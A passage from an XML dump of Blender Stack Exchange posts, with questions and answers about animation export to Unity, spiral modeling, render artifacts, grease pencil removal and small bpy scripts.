OwnerUserId="3089" LastActivityDate="2014-11-21T18:22:50.867" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19096" PostTypeId="1" CreationDate="2014-11-21T18:34:42.450" Score="1" ViewCount="373" Body="&lt;p&gt;I created a 3D model in Blender, I did a walk cycle on it so this character has an walking animation in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use this model and its walk animation in Unity. But &lt;strong&gt;Unity is using &lt;code&gt;Y&lt;/code&gt; as &lt;em&gt;up&lt;/em&gt; direction and Blender uses &lt;code&gt;Z&lt;/code&gt;&lt;/strong&gt;, so when I exported it as FBX file into Unity, it is not working properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to rotate the model in Blender first then export it as .fbx file. But the problem comes that when I rotated my model and applied the rotation by &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;, the model is rotated well but the &lt;strong&gt;animation is destroyed&lt;/strong&gt; by the rotation, the animation is severely distorted, the legs and arms are in strange behaviors.&lt;/p&gt;&#xA;" OwnerUserId="8127" LastEditorUserId="1363" LastEditDate="2014-11-21T20:18:42.807" LastActivityDate="2014-11-21T20:18:42.807" Title="Rotating a model of a character distorted the animation" Tags="&lt;animation&gt;&lt;export&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19097" PostTypeId="1" AcceptedAnswerId="19098" CreationDate="2014-11-21T19:24:18.317" Score="2" ViewCount="1262" Body="&lt;p&gt;I have basic knowledge of Blender, and I use it to render geometric primitives, such as a collection of cubes with different materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have a scene with cubes and spheres on a plane (pretty basic) on which I'd like to put a &quot;real object&quot; of which I have a photograph only. This object is for instance a car. I don't have its 3D model, I can only cut it from the photograph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to incorporate that object in the Blender scene (for example: the car in front of the cube) and render it as realistic as possible. The object is photographed with the right perspective, i.e. from roughly the same angle as it is going to be put in the scene. I do not have big requirements such as reflections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do it? Is there a general approach?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware of the fact that this is not really the conventional approach. I didn't try pasting the image on the rendered image in Photoshop, but I guess that won't really work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For further information: I can take new photographs of the objects, and I have control over lighting.&lt;/p&gt;&#xA;" OwnerUserId="8131" LastActivityDate="2014-11-21T19:47:13.367" Title="How to add a photograph to a scene and render it realistically?" Tags="&lt;objects&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19098" PostTypeId="2" ParentId="19097" CreationDate="2014-11-21T19:47:13.367" Score="5" Body="&lt;p&gt;Here I'm going to add this image of the Blender logo:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/voe4R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you get it rendering on a plane, modify the material in the node editor to something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zuv63.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-11-21T19:47:13.367" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19099" PostTypeId="2" ParentId="19041" CreationDate="2014-11-21T20:27:31.283" Score="1" Body="&lt;p&gt;Select all the meshes: (hold SHIFT while clicking them one by one)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MzPFj.png&quot; alt=&quot;Select&quot;&gt;&lt;br&gt;&#xA;Press CTRL+J:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ftZLg.png&quot; alt=&quot;Joined&quot;&gt;&lt;br&gt;&#xA;I haven't done any extensive checking on the rigging, but the character still walks:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CPPJl.gif&quot; alt=&quot;Walking&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastActivityDate="2014-11-21T20:27:31.283" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19100" PostTypeId="2" ParentId="19091" CreationDate="2014-11-21T20:35:33.650" Score="4" Body="&lt;p&gt;Those artifacts are showing up for a number of reasons.  The first is that you have polygons that are very non-planar and this will usually cause artifacts for lighting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example that shows a quad but it's folded sharply and two distinct triangles can be seen when viewed along the plane of the quad.  Try and make sure to keep quads as flat as possible.  Non-planer quads will also give you problems with texture mapping so it's something to always look for and repair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CrZ9s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem you are having is that you are rendering with a very low polygon model.  Cycles has difficulty dealing with models which are not subdivided at least a couple times.  It's best to use a &lt;em&gt;subdivision surface&lt;/em&gt; (subsurf) modifier to handle this since it can be removed without affecting the base model or it can be applied so the model will be permanently sub-divided.&#xA;Here is a sequence of images that show the effect that various levels of subdivision can have on rendering artifacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/boTFA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to deal with these rendering issues is to use more lights.  Global Illumination will also help since these areas will receive indirect light that will also help smooth things out.&#xA;The following image shows the effect of changing the angle of a single light source in order to show how the area is affected by direct illumination.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0PO5e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the final image here, I did not alter the mesh at all but instead only relied on the Sub-Division Modifier at 1 iteration and also there are 3 lights as well as an environment map.  The ground also adds a bit of indirect light that helps to fill in the lighting for areas that the other lighting is not reaching. &#xA;This all adds up to a mesh that looks pretty decent even though the bash mesh is low poly and it has some fairly substantial non-planer errors.  If the Sub-D modifier is increased to use 2 iterations; the few problem areas that are still showing should no longer be perceptible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VxlvT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorDisplayName="user1853" LastEditDate="2017-02-01T04:03:44.193" LastActivityDate="2017-02-01T04:03:44.193" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19101" PostTypeId="1" CreationDate="2014-11-21T21:55:21.093" Score="1" ViewCount="737" Body="&lt;p&gt;How can the character (red star) go thru a door from Scene1 to Scene2?&#xA;Scene 1 is the current one and Scene2 is to be loaded after the character go thru the door.&#xA;Scene1 is the exterior and Scene2 is a building.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a  &lt;a href=&quot;http://www.pasteall.org/blend/33045&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt; as per coments but is not working.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8wJFD.jpg&quot; alt=&quot;Description&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7720" LastEditorUserId="7720" LastEditDate="2014-11-24T21:29:42.943" LastActivityDate="2014-12-20T09:09:58.873" Title="BGE: Move character from Scene1 to Scene2 and keeping the character to Scene2" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19104" PostTypeId="2" ParentId="19055" CreationDate="2014-11-22T02:07:21.030" Score="2" Body="&lt;p&gt;It was my mistake, the object was previously parented with another object, so, when re-parented the object with the bone, its position is now referenced with the position of the bone, forgetting the previous spatial reference with early parent object, so it cause re-positioning :-)&lt;/p&gt;&#xA;" OwnerUserId="8106" LastActivityDate="2014-11-22T02:07:21.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19105" PostTypeId="1" CreationDate="2014-11-22T03:35:20.787" Score="0" ViewCount="125" Body="&lt;p&gt;I'm creating a simple add-on that allows you to give each frame a custom description and keywords, which I hope to write to a &lt;strong&gt;&lt;em&gt;frame_name.txt&lt;/em&gt;&lt;/strong&gt; file when the frame is saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got the basic option set-up working, but I can't seem to figure out how to get the option to reflect the current frame. Ideally, each frame should have a separate value to be input. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Frame 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Title: This is frame one. &lt;/li&gt;&#xA;&lt;li&gt;Description: This is some guy doing&#xA;something. &lt;/li&gt;&#xA;&lt;li&gt;Keywords: Running, Race, etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Frame 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Title: This is frame two.&lt;/li&gt;&#xA;&lt;li&gt;Description: This is some guy doing something else.&lt;/li&gt;&#xA;&lt;li&gt;Keywords: Jumping, Leaping, etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I attempted to add custom names to each field using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;current_frame = bpy.context.scene.frame_current&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that does not work since the values are only registered once. &#xA;Perhaps I'm going about it all wrong? Its a simple frame-based information system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong to get this input-system &lt;strong&gt;frame-based&lt;/strong&gt; and per object?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy  &#xA;from bpy.types import Operator  &#xA;from bpy.props import FloatVectorProperty, FloatProperty, StringProperty   &#xA;&#xA;&quot;&quot;&quot;&#xA;NOTES&#xA;current_frame = bpy.context.scene.frame_current&#xA;&#xA;&quot;&quot;&quot;&#xA;&#xA;&#xA;class PaperDoll(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Sequential Paperdoll Character Class&quot;&quot;&quot;&#xA;&#xA;    bl_idname  = &quot;object.paperdoll_operator&quot;&#xA;    bl_label   = &quot;Paperdoll Sequence&quot;&#xA;    bl_options = {'REGISTER','UNDO','PRESET'}  &#xA;&#xA;    root_title = StringProperty(&#xA;        name    = &quot;Title&quot;,&#xA;        default = &quot;Enter a Title&quot;&#xA;        )&#xA;&#xA;    root_description = StringProperty(&#xA;        name    = &quot;Description&quot;,&#xA;        default = &quot;Enter a Description&quot;&#xA;        )&#xA;&#xA;    root_keywords = StringProperty(&#xA;        name    = &quot;Keywords&quot;,&#xA;        default = &quot;Enter Keywords&quot;&#xA;        ) &#xA;&#xA;    def execute(self, context, event):  &#xA;        print(&quot;HERE&quot;)&#xA;        return {'FINISHED'}    &#xA;&#xA;    def execute(self, context):  &#xA;        print(&quot;HERE&quot;)&#xA;        return {'FINISHED'}  &#xA;&#xA;def add_object_button(self, context):  &#xA;    self.layout.operator(  &#xA;    PaperDoll.bl_idname,  &#xA;    text=PaperDoll.__doc__,  &#xA;    icon='PLUGIN')  &#xA;&#xA;def register():  &#xA;    bpy.utils.register_class(PaperDoll)  &#xA;    bpy.types.VIEW3D_MT_object.append(add_object_button)  &#xA;&#xA;if __name__ == &quot;__main__&quot;:  &#xA;    register()        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5266" LastActivityDate="2014-11-26T08:46:31.757" Title="bpy.types.Operator meta info based on current Frame" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19106" PostTypeId="2" ParentId="14064" CreationDate="2014-11-22T04:25:47.803" Score="3" Body="&lt;p&gt;I assume you're needing to handle when the player goes off-mesh for something like... elevated platforms or other unreachable areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key is notifying the AI when the player is no longer on the navigation mesh.  Here's one way to go about it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplicate the nav mesh&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the physics type to static, ghost, invisible, and give it a unique property&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Put a downward ray sensor on the player that sends an onmesh/offmesh message to the AI&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Have the AI switch states from path following to [insert desired behavior] depending on the message.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's an &lt;a href=&quot;https://dl.dropboxusercontent.com/u/19279604/const/handleoffmesh.blend&quot; rel=&quot;nofollow&quot;&gt;example&lt;/a&gt; where the AI runs straight at the player when you leave the navigation mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main problem with this method is that your AI could get stuck if the player goes offmesh without having line of sight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For better results, I imagine you will need a very case-specific Python script that manipulates navmesh.findPath&#xA;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/bge.types.KX_NavMeshObject.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/api/blender_python_api_2_72_1/bge.types.KX_NavMeshObject.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8075" LastActivityDate="2014-11-22T04:25:47.803" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19107" PostTypeId="1" CreationDate="2014-11-22T10:42:59.487" Score="1" ViewCount="298" Body="&lt;p&gt;Does anyone know how to install &lt;a href=&quot;http://wiki.blender.org/index.php/User%3AIdeasman42/BlenderAsPyModule&quot; rel=&quot;nofollow&quot;&gt;BlenderAsPyModule&lt;/a&gt; on a Linux machine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a beginner, I don't understand how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simplified guide?&lt;/p&gt;&#xA;" OwnerUserId="6398" LastEditorUserId="1363" LastEditDate="2014-11-23T02:36:43.853" LastActivityDate="2014-11-23T02:36:43.853" Title="How to install Blender sub-process modules to run Blender in background?" Tags="&lt;python&gt;&lt;command-line&gt;&lt;documentation&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19108" PostTypeId="1" CreationDate="2014-11-22T12:16:54.630" Score="5" ViewCount="5855" Body="&lt;p&gt;I've modeled this example manually by extruding to show you what I mean, but its obviously neither a fast nor a perfectly accurate way. So how would you do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v8WAb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4944" LastActivityDate="2018-06-25T02:25:28.943" Title="How to create this kind of spiral tube?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19109" PostTypeId="2" ParentId="19108" CreationDate="2014-11-22T13:29:27.417" Score="4" Body="&lt;p&gt;This could be easily done, using a circle (or any shape) and the Screw modifier.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a circle. Do not fill it with faces.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/etwCc.png&quot; alt=&quot;Add circle&quot;&gt;&lt;br&gt;&#xA;Tab into Edit mode and move the circle a little, to offset it from its origin. The radius of the circle will be the radius of the tube, and the offset from its origin will be the radius of the spiral.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oNQ5Z.png&quot; alt=&quot;Offset from origin&quot;&gt;&lt;br&gt;&#xA;Tab back to Object mode and add a screw modifier. Changle the Screw and Iterations to your liking. Depending on how the circle is rotated to begin with, you may also need to change the axis. To get a smoother tube, you can change the steps, but I usually leave it at the default and add a Subdivision surface modifier later.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jM7gw.png&quot; alt=&quot;Screw modifier&quot;&gt;&lt;br&gt;&#xA;Apply the modifier. Then, optionally, tab into Edit mode and create faces at the ends (select the vertices at the end and press F). And, optionally, bevel the faces at the end (with the face selected, press CTrl+B). Adjust the width of the bevel and the number of cuts to your liking.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cy83V.png&quot; alt=&quot;Faces and bevel&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2014-11-22T13:36:57.077" LastActivityDate="2014-11-22T13:36:57.077" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19110" PostTypeId="2" ParentId="19108" CreationDate="2014-11-22T13:48:33.037" Score="10" Body="&lt;p&gt;One way to do this is with a curves addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the user preferences by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;. Under &lt;code&gt;Addons&lt;/code&gt; type &quot;extra&quot; into the search field. Enable the checkbox of &quot;Add Curve: Extra Objects&quot;.&#xA;This will give you some additional options to create curves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YIPXZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go back to the 3D view and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to add a new object and select Curve-&gt;Spirals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rY8ox.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Tools shelf (the menu on the left of the 3D view that is toggled by pressing &lt;kbd&gt;T&lt;/kbd&gt;) settings for the spiral will appear. Play around with them until you are satisfied with the shape of the spiral. You probably want a spiral of type 1 or 2 and a &quot;Curve Type&quot; of 1 (for smoothness).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6GrnH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give the spiral some thickness you will have to add a taper object to the curve. Go to a new layer and add a Bezier Curve. The distance of the curve from its object origin will represent the thickness of you spiral along its length. For a linarly increasing thickness edit the curve to look something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V3fPw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shape around the spiral is determied by a bevel object. Just add a &quot;Circle&quot; curve. It does not matter if it is a Bezier Circle (just called Circle in the menu) or a Nurbs Circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w90Jh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go back to the layer with the spiral and select the spiral. Go to the curve settings and select the bezier curve from the other layer as &quot;Taper Object&quot; and the circle as &quot;Bevel Object&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QHnPx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result should look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LdDmX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can play around with the shape of the taper and bevel object to achieve diffent effects. To close the end of the spiral you can also enable &quot;Fill Caps&quot;.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2014-11-23T17:37:43.807" LastActivityDate="2014-11-23T17:37:43.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19111" PostTypeId="1" CreationDate="2014-11-22T14:27:22.587" Score="0" ViewCount="3758" Body="&lt;p&gt;Is there a way to fix this? In Youtube tutorials, when they right click they get some options such as mesh, etc but I don't get anything please help.&lt;/p&gt;&#xA;" OwnerUserId="8136" LastEditorUserId="2217" LastEditDate="2014-11-22T14:32:42.810" LastActivityDate="2014-11-22T14:37:31.180" Title="When I right click nothing happens" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-11-22T18:33:18.677" ContentLicense="CC BY-SA 3.0" />
  <row Id="19112" PostTypeId="2" ParentId="19111" CreationDate="2014-11-22T14:37:31.180" Score="5" Body="&lt;p&gt;Your question is very obscure, but what I think you are looking for is the &lt;em&gt;Add&lt;/em&gt; menu?&#xA;You can get to this menu by pressing &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;. The resulting menu looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vy701.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This menu is used to add objects to the scene, from lighting, to meshes, to curves, to armatures, to add-on generated objects.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2014-11-22T14:37:31.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19113" PostTypeId="1" AcceptedAnswerId="19116" CreationDate="2014-11-22T15:21:20.607" Score="9" ViewCount="16981" Body="&lt;p&gt;I have plenty of &lt;em&gt;grease pencil&lt;/em&gt; sketches in my blend file. Is it possible to remove all of them very fast?&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2014-11-23T00:48:57.390" Title="How to remove (unlink) all the grease pencil layers?" Tags="&lt;editing&gt;&lt;grease-pencil&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19114" PostTypeId="1" CreationDate="2014-11-22T15:35:14.757" Score="0" ViewCount="64" Body="&lt;p&gt;I got my blend file from &lt;a href=&quot;http://www.blendhelp.com/blend/wave.rar&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and I want to export this as a three.js json file so i can load it to browser. I managed to do that but as result i get the 1st frame of the model and not the model animated like it is when i play it at the timeline. What i want is to animate the ocean as it animates when it is in blender.. How can i achieve that? I use the following code to load to three js:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loader = new THREE.JSONLoader();&#xA;            loader.load( &quot;wave.json&quot;, function( geometry, materials ) {&#xA;            wave= new THREE.Mesh( geometry, new THREE.MeshFaceMaterial( materials ) );&#xA;            wave.position.set(10,10,10);&#xA;            wave.rotation.x = Math.PI/2;&#xA;scene.add(wave);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any help?&lt;/p&gt;&#xA;" OwnerUserId="8061" LastEditorUserId="3710" LastEditDate="2014-11-22T15:46:42.373" LastActivityDate="2014-11-22T15:46:42.373" Title="How to export ocean simulation to .json file with the animated modifier?" Tags="&lt;modifiers&gt;&lt;ocean-simulation&gt;&lt;three.js&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="1" ClosedDate="2014-11-22T15:56:50.700" ContentLicense="CC BY-SA 3.0" />
  <row Id="19115" PostTypeId="1" AcceptedAnswerId="19430" CreationDate="2014-11-22T16:21:40.560" Score="1" ViewCount="1546" Body="&lt;p&gt;I have created a character and textured it for Full Color 3D printing through shapeways.  I choose the X3D export option from the 3D print toolbox addon and the export works fine.  But when I upload to Shapeways there is no color at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am positive that I zipped the .png files and the .X3D file without any errors, but the colors still don't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then opened up the X3D file and searched for any hint of a texture, and there was absolutely no mention of my texture names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some sort of option I am missing to allow textures to export with the X3D file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my .blend file and textures: &lt;a href=&quot;https://dl.dropboxusercontent.com/u/76236043/beck_model.zip&quot; rel=&quot;nofollow&quot;&gt;Beck&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is my .X3D file that I exported: &lt;a href=&quot;https://dl.dropboxusercontent.com/u/76236043/Beck_07-Beck.x3d&quot; rel=&quot;nofollow&quot;&gt;X3D file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5505" LastActivityDate="2014-12-01T23:32:46.060" Title="X3D not including textures in file" Tags="&lt;3d-printing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19116" PostTypeId="2" ParentId="19113" CreationDate="2014-11-22T16:24:44.957" Score="10" Body="&lt;p&gt;&lt;strong&gt;Short answer:&lt;/strong&gt; &#xA;Yes!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;N&lt;/kbd&gt;, go to &lt;em&gt;Grease Pencil&lt;/em&gt; and uncheck the checkbox:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qFEgx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will hide all grease pencil sketches, while retaining the information in case you want your sketches back at a later time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Long answer:&lt;/strong&gt; &#xA;In the &lt;em&gt;Viewport&lt;/em&gt; press &lt;kbd&gt;N&lt;/kbd&gt; and go to the &lt;em&gt;Grease Pencil&lt;/em&gt; portion of the menu on the right. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/15bYg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several ways to remove a grease pencil sketch, you can just hide the grease pencil (the checkbox), you can delete a frame, you can delete a layer (the &quot;X&quot;), or you can hide a layer (the eye).&#xA;You can use the &lt;kbd&gt;RMB&lt;/kbd&gt; or use &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; to get the grease eraser. Use the &lt;kbd&gt;LMB&lt;/kbd&gt; (or &lt;kbd&gt;RMB&lt;/kbd&gt; depending on the method) to erase, and the &lt;kbd&gt;MMB&lt;/kbd&gt; to change the size of the brush.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2014-11-23T00:48:57.390" LastActivityDate="2014-11-23T00:48:57.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19117" PostTypeId="1" CreationDate="2014-11-22T17:21:52.450" Score="0" ViewCount="60" Body="&lt;p&gt;I am new to Blender so I started to watch tutorials. Recently i have been doing tunnel tutorial. But i have problem with rendering.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OLOl5.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see on the picture above there is a problem with tracks and walls. As for the walls i dont know if it is a issue with textures or rendering. But on the rails there is no textures, yet there is a problem. I tried to render only rails and lights and i still get same result. I am rendering on Blender render.&#xA;I am working on default Blender settings, so maybe i need to adjust settings to my computer.&#xA;Best regards&lt;/p&gt;&#xA;" OwnerUserId="8139" LastEditorUserId="8139" LastEditDate="2014-11-22T17:54:30.950" LastActivityDate="2014-11-22T17:54:30.950" Title="Artifacts in rendered geometry" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-11-23T00:20:20.720" ContentLicense="CC BY-SA 3.0" />
  <row Id="19118" PostTypeId="2" ParentId="19113" CreationDate="2014-11-22T17:33:17.347" Score="4" Body="&lt;p&gt;You could also run a script to remove the layers after saving the .blend the sketches should be removed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for g in bpy.data.grease_pencil:&#xA;    for l in g.layers:&#xA;        g.layers.remove(l)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-11-22T17:33:17.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19119" PostTypeId="1" CreationDate="2014-11-22T17:43:31.887" Score="1" ViewCount="859" Body="&lt;p&gt;Why doesn't&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.wm.save_as_mainfile(filepath=&quot;D:/ddd/test_v1.blend&quot;)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;work in UI panel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to add a new button in the render panel which sends the current file to a network location.&lt;/p&gt;&#xA;" OwnerUserId="8140" LastEditorUserId="1363" LastEditDate="2014-11-22T18:01:00.827" LastActivityDate="2015-03-02T12:11:38.667" Title="Why doesn't &quot;bpy.ops.wm.save_as_mainfile()&quot; work in UI panel?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
